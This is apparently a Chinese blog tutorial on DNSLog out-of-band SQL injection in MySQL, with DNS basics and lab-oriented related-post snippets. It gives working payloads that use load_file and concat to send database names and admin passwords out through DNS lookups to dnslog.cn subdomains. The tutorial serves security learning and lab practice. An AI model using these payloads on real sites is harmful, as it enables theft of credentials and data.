DNS_LOG注入

深度剖析DNSLog注入原理&本地实例测试 声明:本文仅做学习交流探讨之用,切勿用于违法用途,请遵循《中华人民共和国网络安全法》,共同维护清朗的网络空间 Dns_log注入简介 我们将利用DNS解析的过程将留下痕迹和mysql中load_file()函数的能够访问互联网中的文件这一特点,将一些渗透的过程中将我们需要测试网站的结果回显到一个特定的可以记录DNS日志网站中,关于DNS的原理请参考https://blog.youkuaiyun.com/king9666/article/details/106022050 应用场景 DNS_log注入常用于网站对 阅读详情

目录

DNS

    DNS协议

    IP

    域名

DNS_LOG注入

    特点

    使用场景

    DNS_LOG注入关键函数

    读的语法

    一份渗透测试报告


DNS

DNS协议:作用是将域名 -->  IP 

IP:电脑在网络的位置。

223.73.115.237

域名:IP的外号。

www.chenchan.com

打开host文件.

ip后增加域名.

打开浏览器后访问,访问成功.

原理:我们输入完http://www.chenchan.com/这个域名之后,咱们电脑会先访问host文件,就会将www.chenchan.com --> 192.168.189.128,然后访问这个IP。

http://dnslog.cn/ ,一个DNS解析记录的日志网站。

DNS_LOG注入

DNS_LOG注入:利用DNS解析配合日志记录,将数据库里面的数据拿出来。

特点:能够将盲注变成显错注入。

oob:out of bind  数据外带。

使用场景:显错注入(有回显点的),盲注(没有回显点的)

盲注--> 关键点 判断

length() # 作用:显示长度

length('qingyun') --> 长度是  7

length('chenchan')  --> 长度是 8 

length(database()) --> 查询当前数据库库名的长度

id=1 and length(database())=1  ---> 无内容,就说明库名长度不是1

and length(database())=12  --> 有内容, 就说明库名长度是12

DNS_LOG注入关键函数:

load_file() # 作用是:读文件

concat() #  作用是 拼接字符串

读的语法:select load_file(concat(‘//’,(数据库语句),’.域名/1.txt’));

select load_file('//',(select database()),'.qtm0xb.dnslog.cn/1.txt');

select load_file(concat('//',(select password from admin limit 0,1),'.qtm0xb.dnslog.cn/1.txt'))

DNSLOG注入:利用DNS解析,日志记录把数据库里面的内容给带出来···

总结:

1.显错、盲注、DNSLOG注入

2.DNS、域名、IP

3.攻击流程!四步!

一份渗透测试报告



掌控者靶场DNS-Log注入过程 这里写自定义目录标题掌控者靶场DNS-Log注入过程0x01 前言0x02 利用思路0x03 靶场实战第一步:探测数据库名第二步:探测数据表名第三步:探测数据表对应的列名第四步:瞎逼懵0x04 写在最后 掌控者靶场DNS-Log注入过程 以下过程是在听取了线上课程后,结合自身经验,完成的靶场练习,若过程中有错误,还请大佬指正。 0x01 前言 DNS-Log,DNS是域名解析系统,说直白点就是机器名和IP地址转换。 DNS-Log,增加了一个log,也就是增加了一个日志记录,只不过记录的DNS的域名解析 阅读详情

相关推荐

dnslog注入_dnslog盲注

dnslog注入原理通过子查询,将内容拼接到域名内,让load_file()去访问共享文件,访问的域名被记录此时变为显错注入,将dnslog注入盲注变显错注入,读取远程共享文件,通过拼接出函数做查询,拼接到域名中,访问时将访问服务器,记录后查看日志。dnslog注入主要用于布尔型盲注、时间型盲注、有注入但是无显示,注入线程太大容易被waf拦截等情况。主要原理就是利用load_file这个函数,这个函数的目的是读取本地文件,也可以对外发送请求,利用这个函数,我们再使用concat函数将dnslog

计算机毕业论文源码,学生个人网页制作html源码。贴近用户做网络推广和互联网优化。 2258

DNSLog注入

​ DNSLog注入原理 在sql注入时为布尔盲注、时间盲注,注入的效率低且线程高容易被waf拦截,又或者是目标站点没有回显,我们在读取文件、执行命令注入等操作时无法明显的确认是否利用成功,这时候就要用到我们的DNSlog注入。 首先需要有一个可以配置的域名,比如:xxx.io,然后通过代理商设置域名 xxx.io 的 nameserver 为自己的服务器 A,然后再服务器 A 上配置好 DNS Server,这样以来所有 xxx.io 及其子域名的查询都会到 服务器 A 上,这时就能够实时地监控域名查询请

一期一会的博客 5003

日志注入风险与解决-Log injection (LOG_INJECTION)

例如,如果将用户提供的恶意字符作为日志输出内容时,就可能会导致日志文件中出现不安全的语句,从而攻击系统。总之,在使用日志记录器(Logger)时,应该避免将用户提供的数据直接作为日志输出内容,可以使用占位符的方式来代替用户提供的数据,以避免黑客攻击。为了避免这个警告,应该避免将用户提供的数据直接作为日志输出内容,可以使用占位符(placeholder)的方式来代替用户提供的数据,以避免黑客攻击。在这个修改后的示例代码中,使用占位符的方式,将用户提供的数据作为参数传递给日志记录器的方法,从而避免了黑客攻击。

oscar999的专栏 1055

小白的CTF之路之DNSlog注入

dnslog注入,sqlilabs第九关

glass_york的博客 1467

【RS】哨兵系列数据下载(哨兵2号Sentinel-2波段介绍、下载)

以哨兵二号为示例,分享如何下载欧空局的哨兵系列数据

Remote Sensing迷途小书童 1万+

centos+apache+subversion+LDAP

yum install subversion 报错:[Errno 14] HTTP Error 416 - Requested Range Not Satisfiable 正在尝试其它镜像。 zaici

qq_41566366的博客 1544

DNS-log注入(zkaq靶场)

DNS-log注入

v2ish1yan的博客 1496

R语言实战:5分钟搞定GEO单细胞数据(scRNA-seq)下载与整理(附完整代码)

本文详细介绍了如何使用R语言快速下载和整理GEO单细胞数据(scRNA-seq),提供完整的自动化处理代码。从环境准备、数据获取到文件整理和质量检查,涵盖10X Genomics标准格式及非标准数据的处理技巧,帮助生物信息学研究者高效完成数据预处理工作。

weixin_29054399的博客 601

SQL注入之DNS_log注入

SQL注入之DNS_log注入 这篇文章将系统的讲解,SQL注入中的DNS_log注入的原理、方法、以及靶场练习writeup。 文章目录SQL注入之DNS_log注入前言一、DNS_log注入原理二、靶场实战1.DNSlog 平台2.封神台靶场总结 前言 关于SQL注入的详细内容请看我之前写的文章 提示:以下是本篇文章正文内容,下面案例可供参考 一、DNS_log注入原理 我们都知道,DNS解析是一种用户访问域名时,客户端向DNS发起DNS查询的到目标服务器ip地址,进而实现通信的机制,而

weixin_47785246的博客 1028

深度学习(Deep Learning, DL)简介

深度学习(Deep Learning, DL)是机器学习的一个子领域,主要使用多层神经网络来处理复杂的数据和任务。深度学习通过模拟人脑的神经网络结构,能够自动提取特征并进行高效的模式识别和预测。

qq_28791753的博客 1万+

springboot 启动方式 装配流程 自定义starter 文件加载顺序 常见设计模式

springboot 启动方式 装配流程 自定义starter 文件加载顺序 常见设计模式

sv 937

DNS_log注入

a.概述DNS(Domain Name System,域名系统),因特网上作为域名和IP地址互相映射的一个分布式数据库,能够使用户更方便的访问互联网,而不用去记住能够被机器直接读取的IP数串。通过主机名,最终得到该主机对应的IP地址的过程叫做域名解析(或主机名解析)。DNS协议运行在UDP协议之上,使用端口号53。

Y22Lee的博客 351

52、基于格的具有解密密钥暴露抗性的可撤销(分层)身份基加密方案

本文提出了首个基于格的具有解密密钥暴露抗性(DKER)的可撤销分层身份基加密(RHIBE)方案。通过引入分层密文、分层解密密钥和级别转换密钥等创新工具,克服了格结构与传统密钥重新随机化属性不匹配的难题。该方案不仅支持可扩展的密钥撤销机制,还具备密钥委托功能,为后量子密码学领域的发展提供了新的思路和方法。

efc12345678的博客 123

DNS log注入原理

DNS log注入原理

qq_39416206的博客 2647

KEPServerEX 6 之 lot Gateway MQTT Clinet 配置使用方式

IoT Gateway即Internet of Things Gateway物联网网关。 ---------------------------------------------------------------------------------- 方式:使用kepw的IOTGateway插件选择MQTTClient 解决:可以实现 KEPW 的Tag值 发送到 MQTT 服务器上 ----------------------------------------...

-雲飛兄-博客 6938

18 中望CAD二次开发-DWG参照(ZRX C++)

本文介绍了CAD参考外部dwg文件的原理和代码实现及如何卸载参考文件的全过程,是中望CAD二次开发中重要的功能。

cilvsuanna的博客 205

[zkaq靶场]SQL注入--DNS-LOG注入

DNS注入 介绍 在某些无法直接利用漏洞获得回显的情况下,但是目标可以发起请求,这个时候就可以通过DNS请求把想获得的数据外带出来。 对于sql盲注,常见的方法就是二分法去一个个猜,但是这样的方法麻烦不说,还很容易因为数据请求频繁导致被ban。 所以可以将select到的数据发送给一个url,利用dns解析产生的记录日志来查看数据。 原理 通过子查询,将内容拼接到域名内,让load_file()去访问共享文件,访问的域名被记录 此时变为显错注入,将盲注变显错注入,读取远程共享文件,通过拼接出函数做查询,拼接

wwxxee 376

Outlook Express 6 (OE6) for Win7/Win8/Win10

英文版 Outlook Express6.0, 兼容Win7/Win10/WinXP,解压就可用。

MySQL注入-Dns_log注入

在某些无法直接利用漏洞获得回显的情况下,但是目标可以发起请求,这个时候就可以通过DNS请求把想获得的数据外带出来。 对于sql盲注,常见的方法就是二分法去一个个猜,但是这样的方法麻烦不说,还很容易因为数据请求频繁导致被Ban 所以可以将select到的数据发送给一个url,利用dns解析 产生的记录日志来查看数据。 Dns-log =>DNS域名解析协议=>将域名转化为IP log=>日志(记录的东西) Dns的日志 外带数据(oob)–>这里是一个延时盲注 我让数据库去访问某个网站

m0_51313985的博客 400

android 蓝牙通讯demo

android 下蓝牙通讯demo,实现了发现蓝牙,使能蓝牙,通过蓝牙发送消息。

ET2012新版免狗免安装绿色软件

ET2012新版免狗免安祖昂绿色软件。,新界面,新视觉,

DNS log注入

有注入漏洞时 盲注: substr(database(),1,1)='a' DNS解析 dnslog.cn 读取本地文件 load_file("c:/windows/1.txt" 远程读取文件 unc路径 // load_file('//',(select database()),'.6u0bvl.dnslog.cn/t.txt')) 可以看到数据库名 ...

alecwang的博客 216

efm32 入门.pdf

本PDF共计22页,介绍的是操作驱动API,下载与否自己斟酌。

渗透测试(四)DNS-log注入

DNS log注入 测试靶场(掌控安全学院靶场):https://hack.zkaq.cn/battle/target?id=10679db0fd3523e5 分析:挖掘到目标网站有注入点,可通过DNS-log注入,拿到想要的数据 明白DNS原理,知道域名解析时域名服务器会记录log,但在别人服务器上我们看不到该log,则找工具:dnslog.cn 或者 ceye.io 上去回显出我们想要的数据 以mysql为例,构造注入语句,以load_file()函数配合dns-log得到数据 mysql中loa

Cobb_L 1328

dns_log进行sql注入回显

以http://59.63.200.79:8022/cat/index.php?id=1为例, 以下语句中单引号有问题,为中文,大家自己修正下: 查询所有数据库名:(以下为步骤,自己理解并写注入sql) 1.select distinct TABLE_SCHEMAfrom information_schema.TABLES //从information_schema库的TABLES表中获取所有的数据库名; 2.可以使用limit每次回显一个数据库名,比如limit 0,1回显第一个数据库名...

THMAIL的博客 490

网络安全从入门到精通(第六章-3)MySQL注入 —— DNS(log)注入

MySQL注入 —— DNS(log)注入 每日一句: 实践出真知,渗透测试的精髓就是测试,不断的测试 主要内容: ~DNSLOG实战注意 ~DNSLOG的使用场景 ~DNSLOG的函数解析 一、DNSLOG的函数解析 1,一些知识 DNS(协议 域名 -> IP转换) 日志:基本上所有程序都会记录日志 DNS 他实际上也是有...

划水的小白白 689

MYSQL--Dns注入

MYSQL--Dns注入

qq_68233961的博客 1280

HawkEye Log/Dns 在Sql注入中的应用

Hawkeye: http://hawkeye.hackinglab.cn/ 支持的数据库类型 SQL Server Mysql Oracl PostgresSQL 注入姿势 SQL Server Example: DECLARE @host varchar(1024); SELECT @host=(SELECT TOP 1 master.dbo.fn_varbintohexs...

weixin_30911451的博客 187

SQL注入(Dns注入)---zkaq

1.概念 1.DNS-log:DNS是解析域名的,log是日志记录,DNS-log是记录域名解析记录日志 2.使用场景:在某些无法直接利用漏洞获得回显的情况下,但是目标可以发起请求,这个时候就可以通过DNS请求把想获得的数据外带出来。 3.涉及的函数:LOAD_FILE():读取文件的函数—读取文件并返回文件内容为字符串 ​ a.配置文件中的参数secure_file_priv= ​ b.高版本mysql中会限制 ​ c.既然会被限制那有什么用呢?但是也会存在下面几种情况 有的版本会自动开启 有的网站需要

weixin_38237216的博客 1896

封神台sql靶场 dns_log 注入

前提:目标数据库允许load_file() 1 and 1=1 //正常 1 and 1=2 //页面错误,存在注入 1 and 1=2 union select 1,2 # //回显位为2,由于题目要求用dnslog,那就用联合查询了 构造poyload 1 and (select load_file('//',(concat(select database()),'.xizusd.dnslog.cn/abc'))) 1+and+(select+load_file(concat('//',(select+

weixin_46578840的博客 360
上一篇: 渗透测试基础-XSS漏洞简析
下一篇: BurpSuite工具-http请求与响应部分(不懂就查系列)
风过留不留声
博客等级 码龄5年 5685粉丝 45原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

风过留不留声

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值